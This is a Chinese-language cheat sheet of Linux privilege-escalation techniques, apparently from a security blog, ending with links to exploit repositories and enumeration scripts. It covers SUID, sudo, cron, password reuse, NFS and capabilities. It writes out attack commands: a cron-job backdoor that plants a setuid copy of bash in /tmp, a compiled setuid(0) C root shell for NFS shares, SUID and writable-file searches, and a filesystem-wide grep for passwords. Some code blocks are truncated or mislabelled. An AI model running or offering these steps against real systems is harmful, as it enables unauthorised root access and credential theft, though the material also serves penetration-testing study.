Linux提权姿势总结
0x00 Mindmap
0x01 SUID提权
1. 简介
SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。
2. 漏洞利用
- Linux命令查找SUID文件
1 | find / -perm -u=s -type f 2>/dev/null |
- 使用find命令以root权限命令执行
Linux可以使用的命令提权姿势
1 | #Find |
0x02 SUDO提权
1. 简介
sudo是linux系统管理指令,允许系统管理员让普通用户执行一些或者全部的root命令,如halt,reboot,su等等。sudo不是对shell的一个代替,它是面向每个命令的。
它的特性主要有这样几点:
- sudo能够限制用户只在某台主机上运行某些命令。
- sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
- sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。
- sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。
2. 漏洞利用
- 免密码执行sudo配置
linux ALL=(ALL) ALL
说明:linux用户可以从 ALL终端作为 ALL(任意)用户执行,并运行 ALL(任意)命令。
- 查看sudo权限
1 | grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |
0x03 计划任务提权
1. 简介
如果未正确配置Cron,则可以利用它获得root特权。
- cron作业中是否有可写的脚本或二进制文件?
- 我们可以覆盖cron文件本身吗?
- cron.d目录可写吗?
Cron通常以root特权运行。如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。
2. 漏洞利用
查看计划任务,找到有修改权限的计划任务脚本
1
2ls -l /etc/cron*
more /etc/crontab在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限
1
2cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
0x04 密码复用提权
1. 简介
如数据库、后台 web 密码,其他配置文件出现的密码,可能就是 root 密码
2. 漏洞利用
- 检查弱密码
- 检查Web服务器连接到数据库的文件(config.php或类似文件)
- 检查数据库以获取可能被重用的管理员密码
1 | grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null |
0x05 NFS提权
1. 简介
网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。
Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话的话”,并为远程用户授予root用户对所连接系统的访问权限。
2. 漏洞利用
查看配置文件/etc/exports
kali挂载远程目录
在/tmp/test文件夹下创建c文件
1
2
3
4
5#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system("/bin/bash"); return 0; }编译
1
gcc suid-shell.c -o suid-shell
回到目标主机/tmp目录下执行suid-shell
1 | chmod +s suid-shell |
- 执行
1 | ./suid-shell |
0x06 Capabilities利用
1. 简介
linux中Capabilities的概念和suid类似,可以让普通用户授予超级用户的能力
Capabilities表
capability名称 | 描述 |
---|---|
CAPAUDITCONTROL | 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则 |
CAPAUDITREAD | 允许通过 multicast netlink 套接字读取审计日志 |
CAPAUDITWRITE | 将记录写入内核审计日志 |
CAPBLOCKSUSPEND | 使用可以阻止系统挂起的特性 |
CAP_CHOWN | 修改文件所有者的权限 |
CAPDACOVERRIDE | 忽略文件的 DAC 访问限制 |
CAPDACREAD_SEARCH | 忽略文件读及目录搜索的 DAC 访问限制 |
CAP_FOWNER | 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制 |
CAP_FSETID | 允许设置文件的 setuid 位 |
CAPIPCLOCK | 允许锁定共享内存片段 |
CAPIPCOWNER | 忽略 IPC 所有权检查 |
CAP_KILL | 允许对不属于自己的进程发送信号 |
CAP_LEASE | 允许修改文件锁的 FL_LEASE 标志 |
CAPLINUXIMMUTABLE | 允许修改文件的 IMMUTABLE 和 APPEND 属性标志 |
CAPMACADMIN | 允许 MAC 配置或状态更改 |
CAPMACOVERRIDE | 忽略文件的 DAC 访问限制 |
CAP_MKNOD | 允许使用 mknod() 系统调用 |
CAPNETADMIN | 允许执行网络管理任务 |
CAPNETBIND_SERVICE | 允许绑定到小于 1024 的端口 |
CAPNETBROADCAST | 允许网络广播和多播访问 |
CAPNETRAW | 允许使用原始套接字 |
CAP_SETGID | 允许改变进程的 GID |
CAP_SETFCAP | 允许为文件设置任意的 capabilities |
CAP_SETPCAP | 参考 capabilities man page |
CAP_SETUID | 允许改变进程的 UID |
CAPSYSADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
CAPSYSBOOT | 允许重新启动系统 |
CAPSYSCHROOT | 允许使用 chroot() 系统调用 |
CAPSYSMODULE | 允许插入和删除内核模块 |
CAPSYSNICE | 允许提升优先级及设置其他进程的优先级 |
CAPSYSPACCT | 允许执行进程的 BSD 式审计 |
CAPSYSPTRACE | 允许跟踪任何进程 |
CAPSYSRAWIO | 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备 |
CAPSYSRESOURCE | 忽略资源限制 |
CAPSYSTIME | 允许改变系统时钟 |
CAPSYSTTY_CONFIG | 允许配置 TTY 设备 |
CAP_SYSLOG | 允许使用 syslog() 系统调用 |
CAPWAKEALARM | 允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器) |
2. 可用文件查找
1 | getcap -r /usr/bin |
可写权限文件查找
1 | find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null |
0xFF 参考资源
Paper
- https://github.com/Ignitetechnologies/Linux-Privilege-Escalation
- https://www.hackingarticles.in/category/privilege-escalation/
- https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
- https://cheatsheet.haax.fr/linux-systems/privilege-escalation/
- https://www.thehacker.recipes/sys/privilege-escalation/unix
GTFOBins
Exploits
- https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
- https://github.com/SecWiki/linux-kernel-exploits
- https://github.com/xairy/kernel-exploits
Scripts
- https://github.com/jondonas/linux-exploit-suggester-2
- https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
- https://github.com/rebootuser/LinEnum
- https://github.com/redcode-labs/Bashark
- https://github.com/mzet-/linux-exploit-suggester
- https://github.com/sleventyeleven/linuxprivchecker
- https://github.com/diego-treitos/linux-smart-enumeration
- https://github.com/swisskyrepo/PayloadsAllTheThings
- https://www.361way.com/ld-preload-privilege/5967.html
- https://www.361way.com/crontab-privilege/5958.html
- https://www.361way.com/path-attack/5955.html
Vulnhub